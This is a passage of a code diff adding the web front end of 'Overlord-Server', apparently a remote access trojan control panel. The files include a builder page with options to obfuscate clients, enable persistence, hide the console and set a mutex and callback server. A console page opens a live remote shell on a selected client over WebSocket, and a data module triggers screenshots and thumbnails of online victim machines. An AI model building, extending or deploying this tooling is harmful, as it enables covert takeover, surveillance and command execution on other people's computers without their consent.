"border-slate-600", + ); + } + if (data.role === "admin") { + usersLink.classList.remove("hidden"); + pluginsLink?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + } + + if (data.role === "admin" || data.role === "operator") { + buildLink?.classList.remove("hidden"); + } + + if (data.role !== "viewer") { + scriptsLink?.classList.remove("hidden"); + } + + if (data.role !== "admin" && data.role !== "operator") { + buildBtn.disabled = true; + buildBtn.innerHTML = + ' Build requires admin/operator role'; + } + + loadSavedBuilds(); + } catch (err) { + console.error("Failed to fetch user info:", err); + window.location.href = "/login.html"; + } +} + +if (logoutBtn && !logoutBtn.dataset.boundLogout) { + logoutBtn.dataset.boundLogout = "true"; + logoutBtn.addEventListener("click", async () => { + try { + await fetch("/api/logout", { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + } catch (err) { + console.error("Logout error:", err); + } + window.location.href = "/"; + }); +} + +form?.addEventListener("submit", async (e) => { + e.preventDefault(); + + if (isBuilding) return; + + const platformCheckboxes = form.querySelectorAll( + 'input[name="platform"]:checked', + ); + const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); + + if (platforms.length === 0) { + alert("Please select at least one platform to build"); + return; + } + + const serverUrl = form.querySelector("#server-url").value.trim(); + const rawServerList = form.querySelector("#raw-server-list")?.checked || false; + const mutex = form.querySelector("#mutex")?.value.trim() || ""; + const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; + const stripDebug = form.querySelector('input[name="strip-debug"]').checked; + const disableCgo = form.querySelector('input[name="disable-cgo"]').checked; + const obfuscate = form.querySelector('input[name="obfuscate"]').checked; + const enablePersistence = form.querySelector( + 'input[name="enable-persistence"]', + ).checked; + const hideConsole = form.querySelector( + 'input[name="hide-console"]', + ).checked; + const noPrinting = form.querySelector( + 'input[name="no-printing"]', + ).checked; + + const buildConfig = { + platforms, + serverUrl: serverUrl || undefined, + rawServerList, + mutex: disableMutex ? "" : mutex || undefined, + disableMutex, + stripDebug, + disableCgo, + obfuscate, + enablePersistence, + hideConsole, + noPrinting, + }; + + await startBuild(buildConfig); +}); + +async function startBuild(config) { + isBuilding = true; + buildBtn.disabled = true; + buildBtn.innerHTML = + ' Building...'; + + buildStatus.classList.remove("hidden"); + buildStatusText.textContent = "Starting build..."; + buildResults.classList.add("hidden"); + buildFilesDiv.innerHTML = ""; + + buildOutputDiv.innerHTML = ""; + addBuildOutput("Starting build process...\n", "info"); + + try { + const res = await fetch("/api/build/start", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + credentials: "include", + body: JSON.stringify(config), + }); + + if (!res.ok) { + const error = await res.json(); + throw new Error(error.error || "Build failed to start"); + } + + const data = await res.json(); + const buildId = data.buildId; + + addBuildOutput(`Build ID: ${buildId}\n`, "info"); + addBuildOutput( + `Building for platforms: ${config.platforms.join(", ")}\n\n`, + "info", + ); + + await streamBuildOutput(buildId); + } catch (err) { + addBuildOutput(`\nERROR: ${err.message}\n`, "error"); + buildStatusText.textContent = "Build failed"; + buildStatus.querySelector("div").className = + "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; + buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; + } finally { + isBuilding = false; + buildBtn.disabled = false; + buildBtn.innerHTML = + ' Start Build'; + } +} + +async function streamBuildOutput(buildId) { + const res = await fetch(`/api/build/${buildId}/stream`, { + credentials: "include", + }); + + if (!res.ok) { + throw new Error("Failed to connect to build stream"); + } + + const reader = res.body.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + + try { + while (true) { + const { done, value } = await reader.read(); + + if (done) break; + + buffer += decoder.decode(value, { stream: true }); + + const lines = buffer.split("\n"); + buffer = lines.pop(); + + for (const line of lines) { + if (!line.trim()) continue; + + if (line.startsWith("data: ")) { + const data = JSON.parse(line.substring(6)); + + if (data.type === "output") { + addBuildOutput(data.text, data.level || "info"); + } else if (data.type === "status") { + buildStatusText.textContent = data.text; + } else if (data.type === "complete") { + buildStatusText.textContent = data.success + ? "Build completed successfully!" + : "Build failed"; + buildStatus.querySelector("div").className = data.success + ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60" + : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; + buildStatus.querySelector("i").className = data.success + ? "fa-solid fa-circle-check" + : "fa-solid fa-circle-xmark"; + + if (data.success && data.files) { + const buildData = { + id: data.buildId, + status: "success", + startTime: Date.now(), + expiresAt: data.expiresAt, + files: data.files, + }; + saveBuildToStorage(data.buildId, buildData); + + buildResults.classList.remove("hidden"); + displayBuild(buildData); + } + + reader.releaseLock(); + return; + } else if (data.type === "error") { + addBuildOutput(`\nERROR: ${data.error}\n`, "error"); + } + } + } + + buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight; + } + } finally { + reader.releaseLock(); + } +} + +function addBuildOutput(text, level = "info") { + const span = document.createElement("span"); + span.textContent = text; + + if (level === "error") { + span.className = "text-red-400"; + } else if (level === "success") { + span.className = "text-green-400"; + } else if (level === "warn") { + span.className = "text-yellow-400"; + } else { + span.className = "text-slate-300"; + } + + buildOutputDiv.appendChild(span); +} + +function showBuildFiles(files, buildId, expiresAt) { + buildResults.classList.remove("hidden"); + buildFilesDiv.innerHTML = ""; + + const buildInfoDiv = document.createElement("div"); + buildInfoDiv.className = + "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg"; + const infoRow = document.createElement("div"); + infoRow.className = "flex items-center justify-between gap-2 text-sm"; + const left = document.createElement("div"); + left.className = "flex items-center gap-2"; + const idIcon = document.createElement("i"); + idIcon.className = "fa-solid fa-fingerprint text-slate-400"; + const idLabel = document.createElement("span"); + idLabel.className = "text-slate-300"; + idLabel.textContent = "Build ID:"; + const idCode = document.createElement("code"); + idCode.className = "text-blue-400 font-mono"; + idCode.textContent = buildId; + left.appendChild(idIcon); + left.appendChild(idLabel); + left.appendChild(idCode); + + const right = document.createElement("div"); + right.className = "flex items-center gap-2"; + const clockIcon = document.createElement("i"); + clockIcon.className = "fa-solid fa-clock text-slate-400"; + const expiresLabel = document.createElement("span"); + expiresLabel.className = "text-slate-300"; + expiresLabel.textContent = "Expires in:"; + const timer = document.createElement("span"); + timer.id = "expiration-timer"; + timer.className = "text-yellow-400 font-medium"; + timer.dataset.expires = String(expiresAt); + timer.textContent = "Calculating..."; + right.appendChild(clockIcon); + right.appendChild(expiresLabel); + right.appendChild(timer); + + infoRow.appendChild(left); + infoRow.appendChild(right); + buildInfoDiv.appendChild(infoRow); + buildFilesDiv.appendChild(buildInfoDiv); + + updateExpirationTimer(); + setInterval(updateExpirationTimer, 60000); + + files.forEach((file) => { + const fileDiv = document.createElement("div"); + fileDiv.className = + "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; + + const fileInfo = document.createElement("div"); + fileInfo.className = "flex items-center gap-2"; + const fileIcon = document.createElement("i"); + fileIcon.className = "fa-solid fa-file-code text-blue-400"; + const fileName = document.createElement("span"); + fileName.className = "font-medium"; + fileName.textContent = file.name; + const fileSize = document.createElement("span"); + fileSize.className = "text-xs text-slate-500"; + fileSize.textContent = formatFileSize(file.size); + fileInfo.appendChild(fileIcon); + fileInfo.appendChild(fileName); + fileInfo.appendChild(fileSize); + + const downloadBtn = document.createElement("a"); + downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`; + downloadBtn.className = + "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors"; + downloadBtn.innerHTML = ' Download'; + + fileDiv.appendChild(fileInfo); + fileDiv.appendChild(downloadBtn); + buildFilesDiv.appendChild(fileDiv); + }); +} + +function updateExpirationTimer(timerEl, expiresAt) { + if (!timerEl) return; + + const now = Date.now(); + const remaining = expiresAt - now; + + if (remaining <= 0) { + timerEl.textContent = "Expired"; + timerEl.className = "text-red-400 font-medium"; + return; + } + + const days = Math.floor(remaining / (1000 * 60 * 60 * 24)); + const hours = Math.floor( + (remaining % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60), + ); + const minutes = Math.floor((remaining % (1000 * 60 * 60)) / (1000 * 60)); + + if (days > 0) { + timerEl.textContent = `${days}d ${hours}h`; + } else if (hours > 0) { + timerEl.textContent = `${hours}h ${minutes}m`; + } else { + timerEl.textContent = `${minutes}m`; + } + + if (days >= 3) { + timerEl.className = "text-green-400 font-medium"; + } else if (days >= 1) { + timerEl.className = "text-yellow-400 font-medium"; + } else { + timerEl.className = "text-orange-400 font-medium"; + } +} + +async function deleteBuild(buildId) { + if (!confirm("Are you sure you want to delete this build?")) { + return; + } + + try { + const res = await fetch(`/api/build/${buildId}/delete`, { + method: "DELETE", + credentials: "include", + }); + + if (!res.ok) { + throw new Error("Failed to delete build"); + } + + const buildElement = document.getElementById(`build-${buildId}`); + if (buildElement) { + buildElement.remove(); + } + + removeBuildFromStorage(buildId); + + if (buildFilesDiv.children.length === 0) { + buildResults.classList.add("hidden"); + } + } catch (err) { + console.error("Failed to delete build:", err); + alert("Failed to delete build. Please try again."); + } +} + +function formatFileSize(bytes) { + if (bytes === 0) return "0 B"; + const k = 1024; + const sizes = ["B", "KB", "MB", "GB"]; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i]; +} + +function saveBuildToStorage(buildId, buildData) { + try { + const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); + const existingIndex = builds.findIndex((b) => b.id === buildId); + + if (existingIndex >= 0) { + builds[existingIndex] = buildData; + } else { + builds.push(buildData); + } + + if (builds.length > 20) { + builds.splice(0, builds.length - 20); + } + + localStorage.setItem("overlord_builds", JSON.stringify(builds)); + } catch (err) { + console.error("Failed to save build to localStorage:", err); + } +} + +function getBuildFromStorage(buildId) { + try { + const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); + return builds.find((b) => b.id === buildId); + } catch (err) { + console.error("Failed to get build from localStorage:", err); + return null; + } +} + +function getAllBuildsFromStorage() { + try { + const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); + + return builds.sort((a, b) => b.startTime - a.startTime); + } catch (err) { + console.error("Failed to get builds from localStorage:", err); + return []; + } +} + +function removeBuildFromStorage(buildId) { + try { + const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]"); + const filtered = builds.filter((b) => b.id !== buildId); + localStorage.setItem("overlord_builds", JSON.stringify(filtered)); + } catch (err) { + console.error("Failed to remove build from localStorage:", err); + } +} + +async function loadSavedBuilds() { + try { + const res = await fetch("/api/build/list", { + credentials: "include", + }); + + if (!res.ok) { + console.error("Failed to fetch builds from server"); + return; + } + + const data = await res.json(); + const builds = data.builds || []; + + const now = Date.now(); + const validBuilds = builds.filter((build) => { + if (build.expiresAt && build.expiresAt <= now) { + return false; + } + return true; + }); + + if (validBuilds.length === 0) { + return; + } + + buildResults.classList.remove("hidden"); + + for (const build of validBuilds) { + displayBuild(build); + + saveBuildToStorage(build.id, build); + } + } catch (err) { + console.error("Failed to load builds:", err); + + const builds = getAllBuildsFromStorage(); + const now = Date.now(); + const validBuilds = builds.filter((build) => { + if (build.expiresAt && build.expiresAt <= now) { + removeBuildFromStorage(build.id); + return false; + } + return true; + }); + + if (validBuilds.length > 0) { + buildResults.classList.remove("hidden"); + validBuilds.forEach((build) => displayBuild(build)); + } + } +} + +function displayBuild(build) { + const buildContainer = document.createElement("div"); + buildContainer.className = + "build-result-item mb-6 pb-6 border-b border-gray-700 last:border-b-0"; + buildContainer.id = `build-${build.id}`; + const header = document.createElement("div"); + header.className = "flex items-center justify-between mb-3"; + + const left = document.createElement("div"); + left.className = "flex items-center gap-3"; + const boxIcon = document.createElement("i"); + boxIcon.className = "fa-solid fa-box text-blue-400"; + const buildLabel = document.createElement("span"); + buildLabel.className = "text-gray-300 font-medium"; + buildLabel.textContent = `Build ID: ${build.id.substring(0, 8)}`; + const sep = document.createElement("span"); + sep.className = "text-gray-500"; + sep.textContent = "•"; + const startedAt = document.createElement("span"); + startedAt.className = "text-sm text-gray-400"; + startedAt.textContent = new Date(build.startTime).toLocaleString(); + left.appendChild(boxIcon); + left.appendChild(buildLabel); + left.appendChild(sep); + left.appendChild(startedAt); + + const right = document.createElement("div"); + right.className = "flex items-center gap-3"; + const timerWrap = document.createElement("div"); + timerWrap.className = "flex items-center gap-2"; + const clockIcon = document.createElement("i"); + clockIcon.className = "fa-solid fa-clock text-gray-400"; + const timer = document.createElement("span"); + timer.id = `timer-${build.id}`; + timer.className = "text-gray-300 font-medium"; + timer.textContent = "Loading..."; + timerWrap.appendChild(clockIcon); + timerWrap.appendChild(timer); + + const deleteBtn = document.createElement("button"); + deleteBtn.id = `delete-btn-${build.id}`; + deleteBtn.className = + "px-3 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg transition-colors flex items-center gap-2 text-sm"; + deleteBtn.title = "Delete build"; + const deleteIcon = document.createElement("i"); + deleteIcon.className = "fa-solid fa-trash"; + const deleteText = document.createElement("span"); + deleteText.textContent = "Delete"; + deleteBtn.appendChild(deleteIcon); + deleteBtn.appendChild(deleteText); + deleteBtn.addEventListener("click", () => deleteBuild(build.id)); + + right.appendChild(timerWrap); + right.appendChild(deleteBtn); + + header.appendChild(left); + header.appendChild(right); + + const filesContainer = document.createElement("div"); + filesContainer.id = `files-${build.id}`; + filesContainer.className = "space-y-2"; + + buildContainer.appendChild(header); + buildContainer.appendChild(filesContainer); + + buildFilesDiv.appendChild(buildContainer); + + showBuildFilesForContainer(build, `files-${build.id}`, `timer-${build.id}`); +} + +function showBuildFilesForContainer(build, containerId, timerId) { + const container = document.getElementById(containerId); + const timerEl = document.getElementById(timerId); + + if (!container || !timerEl) return; + + build.files.forEach((file) => { + const fileDiv = document.createElement("div"); + fileDiv.className = + "flex items-center justify-between bg-gray-700/50 p-4 rounded-lg hover:bg-gray-700 transition-colors"; + + const fileMeta = document.createElement("div"); + fileMeta.className = "flex items-center gap-3"; + const fileIcon = document.createElement("i"); + fileIcon.className = "fa-solid fa-file text-blue-400"; + const fileText = document.createElement("div"); + const fileName = document.createElement("div"); + fileName.className = "text-white font-medium"; + fileName.textContent = file.filename; + const filePlatform = document.createElement("div"); + filePlatform.className = "text-sm text-gray-400"; + filePlatform.textContent = file.platform; + fileText.appendChild(fileName); + fileText.appendChild(filePlatform); + fileMeta.appendChild(fileIcon); + fileMeta.appendChild(fileText); + + const download = document.createElement("a"); + download.href = `/api/build/download/${encodeURIComponent(file.filename)}`; + download.download = ""; + download.className = + "px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white rounded-lg transition-colors flex items-center gap-2"; + const downloadIcon = document.createElement("i"); + downloadIcon.className = "fa-solid fa-download"; + const downloadText = document.createElement("span"); + downloadText.textContent = "Download"; + download.appendChild(downloadIcon); + download.appendChild(downloadText); + + fileDiv.appendChild(fileMeta); + fileDiv.appendChild(download); + + container.appendChild(fileDiv); + }); + + if (build.expiresAt) { + updateExpirationTimer(timerEl, build.expiresAt); + + setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000); + } +} diff --git a/Overlord-Server/public/assets/change-password.js b/Overlord-Server/public/assets/change-password.js new file mode 100644 index 0000000..bf2784d --- /dev/null +++ b/Overlord-Server/public/assets/change-password.js @@ -0,0 +1,210 @@ +const form = document.getElementById("change-password-form"); +const currentPass = document.getElementById("current-pass"); +const newPass = document.getElementById("new-pass"); +const confirmPass = document.getElementById("confirm-pass"); +const errEl = document.getElementById("error"); +const successEl = document.getElementById("success"); + +const tempToken = sessionStorage.getItem("temp_token"); +const tempUser = sessionStorage.getItem("temp_user"); + +if (!tempToken || !tempUser) { + window.location.href = "/"; +} + +const user = JSON.parse(tempUser); + +if (typeof anime !== "undefined") { + const particles = document.querySelectorAll(".particle"); + particles.forEach((particle, i) => { + anime({ + targets: particle, + translateX: () => anime.random(-100, 100), + translateY: () => anime.random(-100, 100), + scale: () => anime.random(0.5, 1.5), + opacity: [0, 0.6, 0], + duration: () => anime.random(3000, 6000), + delay: i * 200, + easing: "easeInOutQuad", + loop: true, + }); + }); + + anime + .timeline() + .add({ + targets: ".login-card", + opacity: [0, 1], + translateY: [30, 0], + duration: 800, + easing: "easeOutExpo", + }) + .add( + { + targets: ".login-crown-wrapper", + scale: [0, 1], + rotate: [180, 0], + duration: 600, + easing: "easeOutBack", + }, + "-=400", + ) + .add( + { + targets: ".login-brand", + opacity: [0, 1], + translateY: [-10, 0], + duration: 500, + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".login-title, .login-subtitle", + opacity: [0, 1], + translateY: [10, 0], + duration: 500, + delay: anime.stagger(100), + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".form-group", + opacity: [0, 1], + translateY: [15, 0], + duration: 500, + delay: anime.stagger(100), + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".login-btn", + opacity: [0, 1], + scale: [0.95, 1], + duration: 400, + easing: "easeOutQuad", + }, + "-=200", + ); + + anime({ + targets: ".login-crown", + scale: [1, 1.08, 1], + duration: 2000, + easing: "easeInOutQuad", + loop: true, + }); + + document.querySelectorAll(".input-animated input").forEach((input) => { + input.addEventListener("focus", (e) => { + anime({ + targets: e.target.parentElement, + scale: [1, 1.02], + duration: 200, + easing: "easeOutQuad", + }); + }); + + input.addEventListener("blur", (e) => { + anime({ + targets: e.target.parentElement, + scale: [1.02, 1], + duration: 200, + easing: "easeOutQuad", + }); + }); + }); +} + +form?.addEventListener("submit", async (e) => { + e.preventDefault(); + errEl.textContent = ""; + successEl.style.display = "none"; + + if (newPass.value !== confirmPass.value) { + errEl.textContent = "New passwords do not match"; + return; + } + + if (newPass.value.length < 6) { + errEl.textContent = "New password must be at least 6 characters"; + return; + } + + if (currentPass.value === newPass.value) { + errEl.textContent = "New password must be different from current password"; + return; + } + + try { + const res = await fetch(`/api/users/${user.id}/password`, { + method: "PUT", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${tempToken}`, + }, + body: JSON.stringify({ + currentPassword: currentPass.value, + newPassword: newPass.value, + }), + }); + + const data = await res.json(); + + if (!res.ok) { + throw new Error(data.error || "Failed to change password"); + } + + sessionStorage.removeItem("temp_token"); + sessionStorage.removeItem("temp_user"); + + successEl.textContent = "Password changed successfully! Redirecting..."; + successEl.style.opacity = "0"; + successEl.style.display = "block"; + + if (typeof anime !== "undefined") { + anime({ + targets: successEl, + opacity: [0, 1], + translateY: [-5, 0], + duration: 400, + easing: "easeOutQuad", + }); + } else { + successEl.style.opacity = "1"; + } + + setTimeout(() => { + window.location.href = "/"; + }, 2000); + } catch (err) { + errEl.textContent = err.message || "Failed to change password"; + + if (typeof anime !== "undefined") { + anime({ + targets: ".login-card", + translateX: [ + { value: -10, duration: 100 }, + { value: 10, duration: 100 }, + { value: -10, duration: 100 }, + { value: 10, duration: 100 }, + { value: 0, duration: 100 }, + ], + easing: "easeInOutQuad", + }); + + anime({ + targets: "#error", + opacity: [0, 1], + translateY: [-5, 0], + duration: 300, + easing: "easeOutQuad", + }); + } + } +}); diff --git a/Overlord-Server/public/assets/console.css b/Overlord-Server/public/assets/console.css new file mode 100644 index 0000000..56e6bba --- /dev/null +++ b/Overlord-Server/public/assets/console.css @@ -0,0 +1,193 @@ +.console-body { + margin: 0; + min-height: 100vh; + background: + radial-gradient(120% 120% at 20% 20%, #0d1a2f 0%, transparent 45%), + radial-gradient(110% 110% at 80% 0%, #0b1224 0%, transparent 50%), #03060f; + color: #e8edf2; + font-family: "Inter", "Segoe UI", system-ui, -apple-system, sans-serif; + display: flex; + flex-direction: column; +} + +.console-topbar { + position: sticky; + top: 0; + z-index: 10; + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + padding: 14px 18px; + background: rgba(7, 12, 22, 0.9); + border-bottom: 1px solid rgba(255, 255, 255, 0.06); + backdrop-filter: blur(10px); +} + +.console-topbar .brand { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 600; + letter-spacing: 0.3px; +} + +.console-topbar .console-actions { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.console-main { + flex: 1; + padding: 18px; + display: grid; + place-items: center; +} + +.console-card { + width: min(1100px, 96vw); + background: rgba(8, 12, 22, 0.8); + border: 1px solid rgba(255, 255, 255, 0.05); + border-radius: 14px; + box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4); + display: flex; + flex-direction: column; + gap: 14px; + padding: 16px; +} + +.console-meta { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); + gap: 10px; + color: #a9b8d4; +} + +.console-target-id { + font-size: 14px; + color: #e5edff; +} + +.console-output { + min-height: 420px; + max-height: 70vh; + width: 100%; + max-width: 100%; + min-width: 0; + background: #050913; + border: 1px solid rgba(255, 255, 255, 0.06); + border-radius: 12px; + padding: 14px; + overflow: auto; + overflow-x: auto; + box-sizing: border-box; + white-space: normal; + text-align: left; + overflow-wrap: normal; + word-break: normal; + line-height: 1.5; + font-size: 14px; + color: #e8edf2; + box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02); +} + +.console-pre { + margin: 0; + white-space: pre; + display: block; + width: max-content; + min-width: 0; + text-align: left; +} + +.console-input-row { + display: flex; + gap: 10px; + align-items: center; + background: rgba(255, 255, 255, 0.02); + border: 1px solid rgba(255, 255, 255, 0.06); + border-radius: 10px; + padding: 10px 12px; +} + +.console-input-row .prompt { + color: #6ee7b7; +} + +.console-input-row textarea { + flex: 1; + resize: vertical; + min-height: 44px; + max-height: 160px; + background: transparent; + border: none; + color: #e8edf2; + font-size: 14px; + outline: none; +} + +.console-buttons { + display: flex; + gap: 8px; +} + +.btn, +.button { + border: 1px solid rgba(255, 255, 255, 0.12); + background: rgba(255, 255, 255, 0.05); + color: #e8edf2; + padding: 9px 12px; + border-radius: 10px; + cursor: pointer; + display: inline-flex; + align-items: center; + gap: 8px; + font-size: 13px; +} + +.btn.primary, +.button.primary { + background: linear-gradient(120deg, #34d399, #22c55e); + border-color: rgba(52, 211, 153, 0.5); + color: #062312; + font-weight: 700; +} + +.btn.ghost, +.button.ghost { + background: rgba(255, 255, 255, 0.06); +} + +.status-pill { + padding: 8px 12px; + border-radius: 999px; + font-size: 13px; + border: 1px solid rgba(255, 255, 255, 0.14); + background: rgba(255, 255, 255, 0.04); +} + +@media (max-width: 720px) { + .console-body { + background: #050913; + } + .console-main { + padding: 12px; + } + .console-card { + padding: 12px; + } + .console-input-row { + flex-direction: column; + align-items: stretch; + } + .console-buttons { + width: 100%; + justify-content: flex-end; + } + .console-buttons .btn, + .console-buttons .button { + width: auto; + } +} diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js new file mode 100644 index 0000000..bb0f1a1 --- /dev/null +++ b/Overlord-Server/public/assets/console.js @@ -0,0 +1,155 @@ +import { ansiToHtml } from "./ansi.js"; +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; +const outputEl = document.getElementById("console-output"); +const statusPill = document.getElementById("status-pill"); +const clientLabel = document.getElementById("client-label"); +const hostLabel = document.getElementById("host-label"); +const userLabel = document.getElementById("user-label"); +const osLabel = document.getElementById("os-label"); +const form = document.getElementById("console-form"); +const input = document.getElementById("console-input"); +const ctrlcBtn = document.getElementById("ctrlc-btn"); + +const clientId = decodeURIComponent( + location.pathname.split("/").filter(Boolean)[0] || "", +); +const wsProto = location.protocol === "https:" ? "wss" : "ws"; +const wsUrl = `${wsProto}://${location.host}/api/clients/${encodeURIComponent(clientId)}/console/ws`; +let ws = null; +let connected = false; +let outputBuffer = ""; +let hasOutput = false; + +const urlParams = new URLSearchParams(window.location.search); +const prefilledCommand = urlParams.get("cmd"); +if (prefilledCommand && input) { + setTimeout(() => { + input.value = prefilledCommand; + input.focus(); + }, 1000); +} + +function setStatus(label, tone = "pill-offline") { + if (!statusPill) return; + statusPill.className = `pill ${tone}`; + statusPill.innerHTML = ` ${label}`; +} + +function appendSystem(text) { + outputBuffer += `\n[system] ${text}\n`; + renderOutput(); +} + +function appendOutput(text) { + outputBuffer += text; + renderOutput(); +} + +function renderOutput() { + if (!outputEl) return; + const normalized = outputBuffer.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); + outputEl.innerHTML = `
${ansiToHtml(normalized)}
`; + outputEl.scrollTop = outputEl.scrollHeight; +} + +function connect() { + appendSystem("Connecting to console..."); + setStatus("Connecting...", "pill-offline"); + ws = new WebSocket(wsUrl); + ws.binaryType = "arraybuffer"; + + ws.addEventListener("open", () => { + connected = true; + setStatus("Connected", "pill-online"); + }); + + ws.addEventListener("message", (event) => { + const payload = decodeMsgpack(event.data); + if (!payload) return; + + switch (payload.type) { + case "ready": + if (clientLabel) clientLabel.textContent = payload.clientId || "unknown"; + if (hostLabel) hostLabel.textContent = payload.host || "unknown"; + if (userLabel) userLabel.textContent = payload.user || "unknown"; + if (osLabel) osLabel.textContent = payload.os || "unknown"; + setStatus("Connected", "pill-online"); + break; + case "status": + if (payload.status === "offline") { + setStatus("Offline", "pill-offline"); + appendSystem(payload.reason || "Client offline"); + } else if (payload.status === "connecting" && !hasOutput) { + setStatus("Connecting...", "pill-ghost"); + } else if (payload.status === "closed") { + setStatus("Closed", "pill-offline"); + appendSystem(payload.reason || "Console closed"); + } + break; + case "output": { + if (payload.data) { + hasOutput = true; + setStatus("Live", "pill-online"); + appendOutput(payload.data); + } + if (payload.error) appendSystem(payload.error); + if (typeof payload.exitCode === "number") { + appendSystem(`Process exited (${payload.exitCode})`); + setStatus("Closed", "pill-offline"); + } + break; + } + default: + break; + } + }); + + ws.addEventListener("close", () => { + if (!connected) return; + connected = false; + setStatus("Disconnected", "pill-offline"); + appendSystem("Connection closed"); + }); + + ws.addEventListener("error", () => { + setStatus("Error", "pill-offline"); + }); +} + +function sendInput(value) { + if (!ws || ws.readyState !== WebSocket.OPEN) { + appendSystem("Socket not ready"); + return; + } + ws.send(encodeMsgpack({ type: "input", data: value })); +} + +function wireInput() { + if (!form || !input) return; + + form.addEventListener("submit", (e) => { + e.preventDefault(); + const value = input.value; + if (!value.trim()) { + input.value = ""; + return; + } + const text = value.endsWith("\n") ? value : `${value}\n`; + sendInput(text); + input.value = ""; + input.focus(); + }); + + input.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + form.dispatchEvent(new Event("submit")); + } + }); + + ctrlcBtn?.addEventListener("click", () => { + sendInput("\u0003"); + }); +} +wireInput(); +connect(); diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js new file mode 100644 index 0000000..22ea82d --- /dev/null +++ b/Overlord-Server/public/assets/data.js @@ -0,0 +1,143 @@ +import { state } from "./state.js"; +import { digestData } from "./utils.js"; + +const POLL_INTERVAL_MS = 5000; +let pollTimer = null; +let render = () => {}; + +export function registerRenderer(fn) { + render = fn; +} + +export async function loadWithOptions(options = {}) { + const { force = false } = options; + if (state.isLoading) { + state.pendingForce = state.pendingForce || force; + return; + } + state.isLoading = true; + try { + const params = new URLSearchParams({ + page: String(state.page), + pageSize: String(state.pageSize), + q: state.searchTerm, + sort: state.sort, + status: state.filterStatus || "all", + os: state.filterOs || "all", + }); + const res = await fetch(`/api/clients?${params.toString()}`); + if (!res.ok) throw new Error(`status ${res.status}`); + const data = await res.json(); + + updateOsFilter(data.items); + + const digest = digestData(data, state); + if (!force && digest === state.lastDigest) { + return; + } + state.lastDigest = digest; + render(data); + + if (!state.thumbnailsRequested) { + state.thumbnailsRequested = true; + requestThumbnailsForClients(data.items); + } + } catch (err) { + console.error("load clients", err); + } finally { + state.isLoading = false; + if (state.pendingForce) { + const shouldForce = state.pendingForce; + state.pendingForce = false; + loadWithOptions({ force: shouldForce }); + } + } +} + +async function requestThumbnailsForClients(items) { + const onlineClientsWithoutThumbnail = items.filter(c => c.online && !c.thumbnail); + for (const client of onlineClientsWithoutThumbnail) { + await requestThumbnail(client.id); + } +} + +function updateOsFilter(items) { + const osSelect = document.getElementById("filter-os"); + if (!osSelect) return; + + const osList = new Set(); + items.forEach((item) => { + if (item.os) osList.add(item.os); + }); + + const currentValue = osSelect.value; + const osArray = Array.from(osList).sort(); + + osSelect.innerHTML = ""; + const allOption = document.createElement("option"); + allOption.value = "all"; + allOption.textContent = "All OS"; + osSelect.appendChild(allOption); + + osArray.forEach((os) => { + const option = document.createElement("option"); + option.value = os; + option.textContent = os; + osSelect.appendChild(option); + }); + + if (currentValue !== "all" && osList.has(currentValue)) { + osSelect.value = currentValue; + } +} + +export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) { + clearInterval(pollTimer); + pollTimer = setInterval(() => { + loadWithOptions({ force: false }); + }, intervalMs); +} + +export async function sendCommand(clientId, action) { + try { + const res = await fetch(`/api/clients/${clientId}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action }), + }); + if (!res.ok) throw new Error(`command failed ${res.status}`); + return true; + } catch (err) { + console.error(err); + return false; + } +} + +export async function requestPreview(clientId) { + const ok = await sendCommand(clientId, "screenshot"); + if (ok) { + setTimeout(() => loadWithOptions({ force: true }), 250); + setTimeout(() => loadWithOptions({ force: true }), 800); + } +} + +export async function requestThumbnail(clientId) { + try { + const res = await fetch(`/api/clients/${clientId}/thumbnail`, { + method: "POST", + }); + if (res.ok) { + const data = await res.json(); + if (data.ok) { + await loadWithOptions({ force: true }); + setTimeout(() => loadWithOptions({ force: true }), 250); + setTimeout(() => loadWithOptions({ force: true }), 800); + return true; + } + } + return false; + } catch (err) { + console.error("Failed to request thumbnail:", err); + return false; + } +} diff --git a/Overlord-Server/public/assets/deploy.js b/Overlord-Server/public/assets/deploy.js new file mode 100644 index 